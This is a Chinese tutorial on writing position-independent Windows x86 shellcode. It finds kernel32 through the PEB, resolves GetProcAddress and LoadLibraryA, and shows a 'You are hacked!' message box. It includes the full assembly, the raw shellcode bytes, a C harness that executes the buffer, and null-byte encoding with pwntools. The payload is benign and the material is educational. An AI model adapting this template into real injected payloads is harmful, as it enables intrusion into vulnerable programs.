从x86汇编到shellcode

0x00 背景

假设你发现了一个windows程序的漏洞,你得注入一些shellcode来执行自己想要执行的命令,但是如果目标程序没有加载某些dll,你就无法在shellcode中直接调用那些API,所以你需要在shellcode中自行加载你需要的dll,然后调用。本文使用汇编模拟了这样一个过程,并将该汇编转换成了shellcode,使用该方法就可以生成任何你想要的payload了。注:本代码仅在win7和win10下测试过。

0x01 汇编码编写及编译

首先,直接贴出汇编码。如上文所说,该汇编码的大致思路为
1. 计算出kernel32.dll在内存中的偏移
2. 然后根据kernel32.dllexport directory中函数的名字来找到GetProcAddress这个函数
3. 再使用GetProcAddress这个函数找到LoadLibraryA函数的地址
4. 使用LoadLibraryA加载user32.dll这个库
5. 再次使用GetProcAddress加载user32.dll库的MessageBoxA函数
6. 最后调用MessageBoxA函数弹出一个对话框。

BITS 32
section .text
global main

main:
    push ebp
    mov ebp,esp
    sub esp,0x10

    ; Local variables:
    ;
    ; [ebp-4] Address of kernel32.dll
    ; [ebp-8] Address of kernel32.dll's export directory
    ; [ebp-12] Address of GetProcAddress
    ; [ebp-16] Address of LoadLibraryA

    ; Save registers

    push ebx
    push esi
    push edi

    call get_delta_offset ; Get the delta offset

get_delta_offset:
    pop ebx
    sub ebx,get_delta_offset

    mov eax,[fs:0x30] ; Get the PEB address
    mov eax,[eax+0xc]
    mov eax,[eax+0x14]

    ; Get the address of kernel32.dll

    mov eax,[eax]
    mov eax,[eax]
    mov eax,[eax+0x10]

    mov [ebp-4],eax ; Save the address of kernel32.dll

    add eax,[eax+0x3c] ; Get the address of PE header
    mov eax,[eax+0x78] ; Get the address of export directory
    add eax,[ebp-4]

    mov [ebp-8],eax ; Save the address of export directory

    ; Parse the export table

    xor esi,esi
    mov edx,[eax+0x20]
    add edx,[ebp-4]

; loop to find address of GetProcAddress func
loop:
    push esi ; Save the index
    mov ecx,len

    mov esi,[edx+esi*4]

    add esi,[ebp-4] ; esi now holds the address of the export name
    lea edi,[str_GetProcAddress+ebx]

    rep cmpsb ; Compare the string
    je loop_end

    pop esi ; Restore the index

    inc esi
    cmp esi,[eax+0x14]

    jl loop
    jmp exit ; Fail

loop_end:

    pop esi ; esi now holds the index

    mov ecx,[eax+0x1c]
    add ecx,[ebp-4] ; ecx now holds the address of function addresses table

    mov edx,[eax+0x24] ; edx now holds the address of ordinal table
    add edx,[ebp-4]

    movzx eax,word [edx+esi*2]

    mov eax,[ecx+eax*4] ; eax now holds the RVA of the callee (GetProcAddress) function
    add eax,[ebp-4] ; eax now holds the real address of the callee (GetProcAddress) function

    mov [ebp-12], eax ; save GetProcAddress address to stack

    ; GetProcAddress(kernel32_addr, "LoadLibraryA")
    lea edi,[str_LoadLibraryA+ebx]
    push edi
    mov ecx, [ebp-4]
    push ecx
    call eax ; Achieve LoadLibraryA func

    mov [ebp-16], eax ;save LoadLibraryA address to stack

    ; You can modify the following process to achieve whatever you want
    ;LoadLibraryA("user32.dll")
    lea edi,[str_User32dll+ebx]
    push edi  
    call eax            

    ;GetProcAddress(handle, "MessageBoxA")
    lea edi,[str_MessageBoxA+ebx]
    push edi 
    push eax
    mov eax, [ebp-12]
    call eax

    push dword 0        ;now call MessageBoxA
    lea edi,[str_caption+ebx]
    push dword edi
    lea edi,[str_text+ebx]
    push dword edi
    ;push dword str_caption
    ;push dword str_text
    push dword 0
    call eax

exit: 
    ; GetProcAddress(kernel32_addr, "ExitProcess")
    lea edi,[str_ExitProcess+ebx]
    push edi
    mov ecx, [ebp-4]
    push ecx
    mov eax, [ebp-12]; Get GetProcAddress func
    call eax ; Achieve ExitProcess func

    push 0x00
    call eax   ; call ExitProcess(0)

    ; Restore registers, never reached
    pop edi
    pop esi
    pop ebx

    mov esp,ebp
    pop ebp
    retn

;section .data //You can't use data section in shellcode
str_GetProcAddress db "GetProcAddress",0
len equ $-str_GetProcAddress
str_LoadLibraryA db "LoadLibraryA", 0
str_ExitProcess db "ExitProcess", 0
str_User32dll db "user32.dll", 0
str_MessageBoxA db "MessageBoxA", 0
str_caption db "Warning!", 0
str_text db "You are hacked!", 0

有一点要注意的是,我们需要自动计算出当前代码的偏移(保存在ebx中),之后使用字符串参照等时都需要加上这个偏移。

上面这份代码参照了很多资料 -- My first assembly shellcodesecurity camp2016Assembler/ForFun(x86_32)/06, 32bit Windows with NASMアセンブリ言語でWindowsプログラミング

主要是第一份资料,成功地获得了kernel32.dll模块的地址和函数名的数组。
编译和链接方式可以参考最后一个资料,这里也整理出来:

nasm -fwin32 hello.asm
alink -entry main -oPE hello

nasmalink可以在这里下载:nasmalink

正常情况下我们会需要用到windows的API,比如下面这样的汇编:

extern MessageBoxA
extern ExitProcess
global main

section .text

main:
    push ebp
    mov ebp, esp
    push dword 0
    push dword title
    push dword text
    push dword 0
    call MessageBoxA
    mov esp, ebp
    pop ebp

    call ExitProcess;


section .data
title: db 'Message', 0
text:  db 'Hello World!', 0

这个时候我们还需要链接.lib文件,可以使用如下语句:

ALINK.EXE -entry main -oPE beep win32.lib

其中win32.lib文件在alink网站上可以下载到。

0x02 生成shellcode

shellcode的生成方法更加简单,首先我们在上一步编译得到了一个hello.exe文件,然后我们用stirling这个binary editor打开该exe文件,找到代码的开始与结束,复制到文本编辑器中,然后在文本编辑器中把所有空格自动替换为'\x'即可。
shellcode

最后我们把得到的shellcode放入我们的程序中试试能不能运行:

#include <stdio.h>
#include <Windows.h>

char shellcode[] = "\x55\x89\xE5\x83\xEC\x10\x53\x56\x57\xE8\x00\x00\x00\x00\x5B\x81\xEB\x0E\x10\x40\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\x89\x45\xFC\x03\x40\x3C\x8B\x40\x78\x03\x45\xFC\x89\x45\xF8\x31\xF6\x8B\x50\x20\x03\x55\xFC\x56\xB9\x0F\x00\x00\x00\x8B\x34\xB2\x03\x75\xFC\x8D\xBB\xCD\x10\x40\x00\xF3\xA6\x74\x09\x5E\x46\x3B\x70\x14\x7C\xE3\xEB\x54\x5E\x8B\x48\x1C\x03\x4D\xFC\x8B\x50\x24\x03\x55\xFC\x0F\xB7\x04\x72\x8B\x04\x81\x03\x45\xFC\x89\x45\xF4\x8D\xBB\xDC\x10\x40\x00\x57\x8B\x4D\xFC\x51\xFF\xD0\x89\x45\xF0\x8D\xBB\xF5\x10\x40\x00\x57\xFF\xD0\x8D\xBB\x00\x11\x40\x00\x57\x50\x8B\x45\xF4\xFF\xD0\x6A\x00\x8D\xBB\x0C\x11\x40\x00\x57\x8D\xBB\x15\x11\x40\x00\x57\x6A\x00\xFF\xD0\x8D\xBB\xE9\x10\x40\x00\x57\x8B\x4D\xFC\x51\x8B\x45\xF4\xFF\xD0\x6A\x00\xFF\xD0\x5F\x5E\x5B\x89\xEC\x5D\xC3\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x57\x61\x72\x6E\x69\x6E\x67\x21\x00\x59\x6F\x75\x20\x61\x72\x65\x20\x68\x61\x63\x6B\x65\x64\x21\00";

// char shellcode[] = "\xd9\xd0\xfc\xd9\x74\x24\xf4\x5e\x83\xc6\x18\x89\xf7\xac\x93\xac\x28\xd8\xaa\x80\xeb\xac\x75\xf5\x2e\x5b\x85\x0e\x5c\x41\xc4\x47\x9b\x87\xaa\xba\x13\x66\x89\xdf\x7e\xd5\x78\x60\xf9\xf9\xe8\xe8\x28\x28\xd3\xd3\x5b\xb6\x4e\xcf\x6c\x57\x08\x16\x75\x85\xc8\x08\x7a\x7a\x88\xec\xf1\x92\xdd\x0d\x2d\x2d\xae\xae\x91\x91\x84\x0f\xc8\x08\x0e\x1a\x84\x0f\xee\x2e\xe3\xf7\xd3\x5e\xbf\xbf\x46\xd1\x59\x59\x79\x04\x2d\x6d\xc0\xd0\xaa\x33\x9b\xe0\xc6\xc2\x36\x39\xb3\xf3\xd3\x0f\x58\xe3\x96\xd6\x5f\xd7\x37\x3a\x37\x7c\x02\xfe\x65\xee\xd3\x18\x29\x21\x5d\x8e\x0b\x01\x3a\xc5\xad\xfd\x83\xa3\xbf\xc2\xe7\x3c\x98\x94\xe1\x37\xf2\xab\x45\x54\xea\xea\x61\x61\x89\x89\xb3\x3e\xf0\x24\xd1\x83\xa1\xa4\x56\xcb\xf0\xec\x8f\x1c\xd7\x92\x66\x33\x7d\x8d\x58\x98\x7e\x7e\xe9\xdc\x8f\x35\x5c\xd0\x12\x1b\x45\xa3\x6f\xb5\xe2\x1d\x68\xd8\xc3\xd7\x28\xa4\xdd\xc0\xae\x99\xbc\x10\x77\xd5\x9e\x29\x72\xba\x67\x83\x3f\x42\x05\x52\xce\xca\xf9\x84\x3a\x8a\x3b\x5f\x83\x86\x6c\xc1\x73\x6f\x9d\xac\xca\x81\xc2\xc6\x14\x86\x73\xfe\x42\x46\xaf\x30\xf7\xfa\x05\x4a\xb3\xaf\xc4\x4d\x89\xce\x9f\x93\xf3\x80\x30\xeb\xc7\xa3\x66\x76\xd8\x18\x8b\x8b\xa4\xfb\x5c\xe7\xec\x39\x2e\x2a\xa2\xf3\x7e\x7d\xba\x8a\xed\x76\xf1\x36\x46\x36\x49\xd6\xee\xa9\x2c\x21\xa3\xb3\xc7\x07\xe3\xe3\xb4\x0b\x80\x7f\xcd\x9d\xf0\x7d\xa9\x64\x68\x68\xd9\xea\x5b\x9b\xe7\xe7\x56\xad\x25\x75\xb1\x3c\x78\xbd\x9d\x91\xc4\xc3\xdd\xad\x55\xbf\xc2\xc2\x55\xe2\x7d\x38\xcd\xd9\xe3\xf4\xbc\xfc\x40\x40\x4a\xa1\x2d\xba\xed\xa8\x7e\x93\x11\x22\x3d\x7d\x29\x29\x79\xd0\x55\xbf\x60\x60\x42\x41\x37\x07\xc1\x4e\x1f\xda\x46\x2f\x18\x28\xd2\x12\x85\x85\x92\xe9\xd1\x5c\x82\xcf\xd4\xd0\x7f\xd0\xc2\x4d\x6d\xb2\x49\x3d\x5a\x59\x13\xe3\xd3\x3d\x91\x91\xa2\xa1\x0c\xdc\xaf\x0e\xfc\x5a\x88\xe3\x1b\xa4\xd2\xbe\x68\xc5\x91\x54\x6d\xb4\x51\xb6\xd7\x4b\x71\xc1\x79\xeb\x41\xb0\xdc\x3f\xe3\x24\x78\xdc\x84\xe8\x53\xc5\x08\x6d\x5e\xd1\xd2\x45\xd3\xd3\xb5\x01\xab\x1a\xd9\x3a\xe2\x46\x89\xd5\x65\xce\x4f\xb1\x23\x95\x02\x63\x15\x87\x2e\xa7\xf8\x39\x50\x50\x8b\xd0\xc7\x3f\xd4\x3d\x59\xcd\xd1\x21\x39\xab\x5d\xcc\xa5\x08\x9e\x03\x53\xc6\xa5\x18\x47\x47\x51\xc6\xf6\x69\x5f\xc4\x39\xab\x3c\x6f\xa3\xd5\xeb\x19\xca\x2e\x1c\x88\x4d\xb9\x40\x40\x55\xa2\x9c\x01\x12\x85\x6b\xde\xab\x0c\xe2\x49\xf3\x58\xab\xed\x72\xe1\xff\x77\xf0\x31\x07\x07\x7a\xd1\xf8\x59\x2a\x9c\xfb\x69\x23\x8c\xb5\x23\x30\x97\x8e\xaf\x1a\x1a\x25\x7e\xbf\x2e\x90\x05\x10\x30\x68\xc9\x75\xe7\x49\xae\xe4\x04\x52\xba\x72\xd3\x33\x96\xb1\x1c\x4d\xb2\xd8\x3c\x11\x32\xae\xae\xac\x78";


int main()
{
    PDWORD orig;


    printf ("%d\n", VirtualProtect(shellcode, 3000, PAGE_EXECUTE_READWRITE, &orig) );
    fprintf(stdout, "Length: %d\n\n", strlen((char *)shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}

这仅仅是一个示例程序,正常情况下如果我们在exploit的时候都需要去除NULL byte,防止shellcode被截断,所以我们再来对该shellcode进行除去NULL byte的操作,使用pwntools即可。
在python控制台中输入如下语句:

>>> import pwnlib
>>> str = pwnlib.encoders.encoder.null("\55\x89\xE5\x83\xEC\x10\x53\x56\x57\xE8\x00\x00\x00\x00\x5B\x81\xEB\x0E\x10\x40\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\x89\x45\xFC\x03\x40\x3C\x8B\x40\x78\x03\x45\xFC\x89\x45\xF8\x31\xF6\x8B\x50\x20\x03\x55\xFC\x56\xB9\x0F\x00\x00\x00\x8B\x34\xB2\x03\x75\xFC\x8D\xBB\xCD\x10\x40\x00\xF3\xA6\x74\x09\x5E\x46\x3B\x70\x14\x7C\xE3\xEB\x54\x5E\x8B\x48\x1C\x03\x4D\xFC\x8B\x50\x24\x03\x55\xFC\x0F\xB7\x04\x72\x8B\x04\x81\x03\x45\xFC\x89\x45\xF4\x8D\xBB\xDC\x10\x40\x00\x57\x8B\x4D\xFC\x51\xFF\xD0\x89\x45\xF0\x8D\xBB\xF5\x10\x40\x00\x57\xFF\xD0\x8D\xBB\x00\x11\x40\x00\x57\x50\x8B\x45\xF4\xFF\xD0\x6A\x00\x8D\xBB\x0C\x11\x40\x00\x57\x8D\xBB\x15\x11\x40\x00\x57\x6A\x00\xFF\xD0\x8D\xBB\xE9\x10\x40\x00\x57\x8B\x4D\xFC\x51\x8B\x45\xF4\xFF\xD0\x6A\x00\xFF\xD0\x5F\x5E\x5B\x89\xEC\x5D\xC3\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x57\x61\x72\x6E\x69\x6E\x67\x21\x00\x59\x6F\x75\x20\x61\x72\x65\x20\x68\x61\x63\x6B\x65\x64\x21\00")
>>> print ''.join([ '\\x%02x'% ord(c) for c in str ])
\xd9\xd0\xfc\xd9\x74\x24\xf4\x5e\x83\xc6\x18\x89\xf7\xac\x93\xac\x28\xd8\xaa\x80\xeb\xac\x75\xf5\x2e\x5b\x85\x0e\x5c\x41\xc4\x47\x9b\x87\xaa\xba\x13\x66\x89\xdf\x7e\xd5\x78\x60\xf9\xf9\xe8\xe8\x28\x28\xd3\xd3\x5b\xb6\x4e\xcf\x6c\x57\x08\x16\x75\x85\xc8\x08\x7a\x7a\x88\xec\xf1\x92\xdd\x0d\x2d\x2d\xae\xae\x91\x91\x84\x0f\xc8\x08\x0e\x1a\x84\x0f\xee\x2e\xe3\xf7\xd3\x5e\xbf\xbf\x46\xd1\x59\x59\x79\x04\x2d\x6d\xc0\xd0\xaa\x33\x9b\xe0\xc6\xc2\x36\x39\xb3\xf3\xd3\x0f\x58\xe3\x96\xd6\x5f\xd7\x37\x3a\x37\x7c\x02\xfe\x65\xee\xd3\x18\x29\x21\x5d\x8e\x0b\x01\x3a\xc5\xad\xfd\x83\xa3\xbf\xc2\xe7\x3c\x98\x94\xe1\x37\xf2\xab\x45\x54\xea\xea\x61\x61\x89\x89\xb3\x3e\xf0\x24\xd1\x83\xa1\xa4\x56\xcb\xf0\xec\x8f\x1c\xd7\x92\x66\x33\x7d\x8d\x58\x98\x7e\x7e\xe9\xdc\x8f\x35\x5c\xd0\x12\x1b\x45\xa3\x6f\xb5\xe2\x1d\x68\xd8\xc3\xd7\x28\xa4\xdd\xc0\xae\x99\xbc\x10\x77\xd5\x9e\x29\x72\xba\x67\x83\x3f\x42\x05\x52\xce\xca\xf9\x84\x3a\x8a\x3b\x5f\x83\x86\x6c\xc1\x73\x6f\x9d\xac\xca\x81\xc2\xc6\x14\x86\x73\xfe\x42\x46\xaf\x30\xf7\xfa\x05\x4a\xb3\xaf\xc4\x4d\x89\xce\x9f\x93\xf3\x80\x30\xeb\xc7\xa3\x66\x76\xd8\x18\x8b\x8b\xa4\xfb\x5c\xe7\xec\x39\x2e\x2a\xa2\xf3\x7e\x7d\xba\x8a\xed\x76\xf1\x36\x46\x36\x49\xd6\xee\xa9\x2c\x21\xa3\xb3\xc7\x07\xe3\xe3\xb4\x0b\x80\x7f\xcd\x9d\xf0\x7d\xa9\x64\x68\x68\xd9\xea\x5b\x9b\xe7\xe7\x56\xad\x25\x75\xb1\x3c\x78\xbd\x9d\x91\xc4\xc3\xdd\xad\x55\xbf\xc2\xc2\x55\xe2\x7d\x38\xcd\xd9\xe3\xf4\xbc\xfc\x40\x40\x4a\xa1\x2d\xba\xed\xa8\x7e\x93\x11\x22\x3d\x7d\x29\x29\x79\xd0\x55\xbf\x60\x60\x42\x41\x37\x07\xc1\x4e\x1f\xda\x46\x2f\x18\x28\xd2\x12\x85\x85\x92\xe9\xd1\x5c\x82\xcf\xd4\xd0\x7f\xd0\xc2\x4d\x6d\xb2\x49\x3d\x5a\x59\x13\xe3\xd3\x3d\x91\x91\xa2\xa1\x0c\xdc\xaf\x0e\xfc\x5a\x88\xe3\x1b\xa4\xd2\xbe\x68\xc5\x91\x54\x6d\xb4\x51\xb6\xd7\x4b\x71\xc1\x79\xeb\x41\xb0\xdc\x3f\xe3\x24\x78\xdc\x84\xe8\x53\xc5\x08\x6d\x5e\xd1\xd2\x45\xd3\xd3\xb5\x01\xab\x1a\xd9\x3a\xe2\x46\x89\xd5\x65\xce\x4f\xb1\x23\x95\x02\x63\x15\x87\x2e\xa7\xf8\x39\x50\x50\x8b\xd0\xc7\x3f\xd4\x3d\x59\xcd\xd1\x21\x39\xab\x5d\xcc\xa5\x08\x9e\x03\x53\xc6\xa5\x18\x47\x47\x51\xc6\xf6\x69\x5f\xc4\x39\xab\x3c\x6f\xa3\xd5\xeb\x19\xca\x2e\x1c\x88\x4d\xb9\x40\x40\x55\xa2\x9c\x01\x12\x85\x6b\xde\xab\x0c\xe2\x49\xf3\x58\xab\xed\x72\xe1\xff\x77\xf0\x31\x07\x07\x7a\xd1\xf8\x59\x2a\x9c\xfb\x69\x23\x8c\xb5\x23\x30\x97\x8e\xaf\x1a\x1a\x25\x7e\xbf\x2e\x90\x05\x10\x30\x68\xc9\x75\xe7\x49\xae\xe4\x04\x52\xba\x72\xd3\x33\x96\xb1\x1c\x4d\xb2\xd8\x3c\x11\x32\xae\xae\xac\x78

可以发现所有的NULL byte都被消除了。然后将该shellcode拷贝到我们刚刚的c语言程序中试试,仍然能成功执行。此外pwntools还有很多encoder,我试了alphanumeric没有成功,大家可以自行尝试别的encoder。